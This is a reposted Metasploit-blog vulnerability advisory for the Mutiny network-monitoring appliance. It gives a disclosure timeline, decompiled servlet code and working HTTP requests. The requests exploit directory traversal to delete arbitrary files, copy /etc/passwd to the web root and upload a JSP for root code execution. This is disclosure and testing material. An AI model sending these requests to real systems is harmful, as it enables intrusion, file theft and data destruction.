Jump to content
net3design

Mutiny Vulnerabilities

Recommended Posts

Posted

Back in March we published an exploit module for Mutiny Remote Code Execution. Mutiny "is a self-contained appliance for monitoring network-attached devices such as servers, switches, routers and printers. It has been designed to be simple to use, being aimed at the person who is more interested in the actual data gathered rather than the science of gathering the data." (Source: Mutiny User Guide). That module abused CVE-2012-3001, a command injection issue in the frontend application which allowed any authenticated user, with access to the admin interface, to execute os commands with root privileges. While developing that exploit, we took a look at the last version of the Mutiny FrontEnd available at that time (5.0-1.07) and found others issues, grouped under CVE-2013-0136, which have the plus of being exploitable from any authenticated role.

Vulnerabilities Summary

The Mutiny Appliance provides a Web Frontend, where the users can configure the system and monitor the data collected by the appliance. The Frontend provides four access roles: “Super Admin”, “Administrator”, “Engineer” and “View only”. All the roles allow the user to access to the “Documents” section, where multiple weaknesses have been detected allowing

To delete any file from the remote file system with root privileges.

To copy and move files in the remote file system with root privileges, allowing also to download/retrieve these files.

To upload arbitrary files to the remote file system and ultimately execute arbitrary code with root privileges.

Disclosure Timeline

Date Description

2013-03-08 Initial discovery by Juan Vazquez, Metasploit Researcher

2013-03-09 Draft advisory and Metasploit module written

2013-03-11 Initial disclosure to the vendor, Mutiny Technology

2013-03-12

Follow-up with vendor

2013-03-27 Disclosure to CERT/CC

2013-05-14 Version 5.0-1.11 tested and not vulnerable to the disclosed exploitation (1)

2013-05-15 Public Disclosure

2013-05-15 Metasploit exploit module published

Prior to public disclosure the last version available has been tested and the disclosed exploit techniques don't work anymore. The tested version has been "5.0-1.11 (EAGLe) - (02-05-13)". Since the vendor didn't warn us about the patch neither asked us to review the patch we can't assure the current patch is 100% confident and secure, neither have details about revisions between 5.0.1-07 and 5.0.1-11 which could be vulnerable. We encourage you to use the current Metasploit modules in order to test your Mutiny installation for the disclosed vulnerabilities.

Technical Analysis

The Web Frontend of Mutiny is provided in part by a Java Web Application. This frontend provides a "Documents" section for authenticated users for any role:

documents_view.PNG

The Documents functions are in part provided by a servlet named "EditDocument". This servlets provides several "Documents" functions such as upload, copy, move and delete documents:



protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
.
.
s = httpservletrequest.getParameter("operation");
if(ServletFileUpload.isMultipartContent(httpservletrequest))
s = "UPLOAD";
.
.
.
if(!s.equals("NEW")) goto _L2; else goto _L1
.
.
.
if(!s.equals("RENAME")) goto _L5; else goto _L4
.
.
.
if(!s.equals("DELETE")) goto _L7; else goto _L6
.
.
.
if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8

The UPLOAD operation can be abused via a Directory Traversal vulnerability in the “uploadPath” parameter to upload arbitrary file and contents to the remote filesystem with root privileges:



if(s.equals("UPLOAD"))
{
ServletFileUpload servletfileupload = new ServletFileUpload(new DiskFileItemFactory());
List list = null;
try
{
list = servletfileupload.parseRequest(httpservletrequest);
}
catch(FileUploadException fileuploadexception)
{
fileuploadexception.printStackTrace();
}
String s6 = null;
FileItem fileitem = null;
Iterator iterator = list.iterator();
do
{
if(!iterator.hasNext())
break;
FileItem fileitem1 = (FileItem)iterator.next();
if(fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadPath"))
s6 = fileitem1.getString(); // User controlled
else
if(!fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadFile"))
fileitem = fileitem1; // User controlled
} while(true);
if(s6.length() == 0)
{
System.out.println("Error: uploadPath not set.");
s6 = "/documents";
}
if(fileitem == null)
{
System.out.println("Error: uploadFile not set.");
} else
{
File file5 = new File(DocumentUtils.root, s6); // Directory Traversal
File file7 = new File(file5, fileitem.getName());
file7.getParentFile().mkdirs();
file7 = DocumentUtils.getUniqueFile(file7, false);
file7.createNewFile();
try
{
fileitem.write(file7); // Write file
if(file7.exists() && file7.length() == fileitem.getSize())
flag = true;
if(debug)
System.out.println((new StringBuilder()).append(s).append(": ").append(file7.getPath()).toString());
}
catch(Exception exception)
{
exception.printStackTrace();
}
}
}

The DELETE operation is also affected by a directory traversal vulnerability in the “paths[]” parameter, which allows to delete arbitrary files with root privileges:


_L5:
if(!s.equals("DELETE")) goto _L7; else goto _L6
_L6:
String as1[] = httpservletrequest.getParameterValues("paths[]"); // User controlled
String as2[] = as1;
int j = as2.length;
for(int k = 0; k < j; k++)
{
String s7 = as2[k];
File file6 = new File(DocumentUtils.root, s7); // Directory Traversal
if(!isValid(file6))
return;
if(file6.isDirectory())
FileUtils.deleteDirectory(file6); // Delete directory
else
flag = file6.delete(); // Delete file
if(debug)
System.out.println((new StringBuilder()).append("DELETE: ").append(file6.getPath()).toString());
}

Also the CUT and COPY operation is also affected by directory traversal vulnerabilities in the “paths[]” and “newPath” parameters, which allows to copy and move files around the remote file system with root privileges:



if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8
_L8:
File file2;
String as3[];
String s4 = httpservletrequest.getParameter("newPath");
file2 = new File(DocumentUtils.root, s4); // Directory Traversal in newPath
as3 = httpservletrequest.getParameterValues("paths[]");
if(as3 == null) goto _L3; else goto _L10
_L10:
String as4[];
int l;
int i1;
as4 = as3;
l = as4.length;
i1 = 0;
_L11:
File file8;
File file9;
FileInputStream fileinputstream;
FileOutputStream fileoutputstream;
if(i1 >= l)
break; /* Loop/switch isn't completed */
String s8 = as4[i1];
file8 = new File(DocumentUtils.root, s8); // Directory traversal in paths[]
if(!isValid(file8))
return;
file9 = new File(file2, file8.getName()); // Directory traversal in newPath
file9 = DocumentUtils.getUniqueFile(file9, file8.isDirectory());
if(debug)
System.out.println((new StringBuilder()).append(s).append(": ").append(file9.getPath()).toString());
file9.getParentFile().mkdirs();
if(s.equals("CUT"))
{
flag = file8.renameTo(file9); // CUT operation affected by directory traversals
break MISSING_BLOCK_LABEL_881;
}
if(!s.equals("COPY"))
break MISSING_BLOCK_LABEL_881;
if(!file9.exists())
file9.createNewFile();
fileinputstream = null;
fileoutputstream = null;
fileinputstream = new FileInputStream(file8); // COPY operationaffected by directory traversals
fileoutputstream = new FileOutputStream(file9);
byte abyte0[] = new byte[4096];
int j1;
while((j1 = fileinputstream.read(abyte0)) > 0)
fileoutputstream.write(abyte0, 0, j1);
flag = true;
fileinputstream.close();
fileoutputstream.close();
break MISSING_BLOCK_LABEL_881;
Exception exception1;
exception1;
System.err.println(exception1.getMessage());
fileinputstream.close();
fileoutputstream.close();
break MISSING_BLOCK_LABEL_881;
Exception exception2;
exception2;
fileinputstream.close();
fileoutputstream.close();
throw exception2;
i1++;
if(true) goto _L11; else goto _L3

Exploitation

After examining the “doPost()” function from the “EditDocument” servlet, requests to abuse these functions have been built.

DELETE operation

The next request allows deleting an arbitrary file from the filesystem:



POST /interface/EditDocument HTTP/1.1
Host: 192.168.1.177
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17
Content-Length: 76
Accept: */*
Origin: http://192.168.1.177
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.177/interface/documents.jsp
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D
Connection: keep-alive
Proxy-Connection: keep-alive



operation=DELETE&paths%5B%5D=../../../../test.msf

In this case the “/test.msf” will be deleted in the remote file system. The 4 level traversal is due to “DocumentUtils.root” by default pointing to “/var/MUTINY/upload/documents” in the Linux based appliance.

The response to the request informs if the file deletion has been successful:



HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=10
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Date: Fri, 08 Mar 2013 02:16:18 GMT


{"success":true}

COPY operation

The copy operation allows copying arbitrary files in the remote file system with root privileges. By copying arbitrary files to the default web root in the appliance it’s possible to retrieve arbitrary files.

The next request allows copying the “/etc/passwd” file to the web root for mobile devices, by default located at “/usr/jakarta/tomcat/webapps/ROOT/m” in the Mutiny Linux based appliance:



POST /interface/EditDocument HTTP/1.1
Host: 192.168.1.177
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17
Content-Length: 111
Accept: */*
Origin: http://192.168.1.177
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.177/interface/documents.jsp
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=14CE95F1ED56321B4B226DF669D691C0; JSESSIONIDSSO=FA98603965548C3FB1F67BC5121A75DC
Connection: keep-alive
Proxy-Connection: keep-alive



operation=COPY&paths%5B%5D=../../../../etc/passwd%00.txt&newPath=../../../../usr/jakarta/tomcat/webapps/ROOT/m/

The response to the request informs if the file deletion has been successful:



HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=10
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Date: Fri, 08 Mar 2013 04:11:17 GMT



{"success":true}

By accessing to *ttp://appliance/m/passwd is possible to retrieve the remote file:

copy_result.PNG

UPLOAD operation

The upload operation allows uploading an arbitrary file to the file system with root privileges. By uploading a JSP file to the “/usr/jakarta/tomcat/webapps/ROOT/m” default location, arbitrary Java can be executed with root privileges by later invoking the JSP file via the web interface. The next request allows uploading JSP code to the "/usr/jakarta/tomcat/webapps/ROOT/m/msf.jsp” location:



POST /interface/EditDocument HTTP/1.1
Host: 192.168.1.177
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17
Content-Length: 491
Accept: */*
Origin: http://192.168.1.177
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPxNcR2XfK8d5gMeU
Referer: http://192.168.1.177/interface/documents.jsp
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D
Connection: keep-alive
Proxy-Connection: keep-alive



------WebKitFormBoundaryPxNcR2XfK8d5gMeU
Content-Disposition: form-data; name="uploadFile"; filename="msf.jsp"
Content-Type: application/octet-stream



<html>
<head><title>Metasploit Test Page</title></head>
<body>
<font size="10"><%="Metasploit Test" %></font>
</body>
</html>


------WebKitFormBoundaryPxNcR2XfK8d5gMeU
Content-Disposition: form-data; name="uploadPath"



../../../../usr/jakarta/tomcat/webapps/ROOT/m
------WebKitFormBoundaryPxNcR2XfK8d5gMeU—

The response to the request informs if the file upload has been successful:

By accessing to *ttp://appliance/m/msf.jsp is possible to execute the uploaded JSP code:

upload_result.PNG

Metasploit modules

In order to assist vulnerability testing two modules for the Metasploit framework have been developed.

mutiny_frontend_read_delete

The “mutiny_frontend_read_delete” is an auxiliary module which abuses the DELETE and COPY operations to retrieve or delete arbitrary files from the remote system:

Reading /etc/passwd

read_file.png

Deleting remote files

file_delete.png

mutiny_frontend_upload

The "mutiny_frontend_upload" is an exploit module which abuses the UPLOAD operation to upload an arbitrary JSP code and an arbitrary payload embedded in an ELF file. The last one is executed through the invocation of the JSP stager:

upload_shell.png

Exploits: Mutiny Vulnerabilities by Juan Vazquez

Sursa : https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...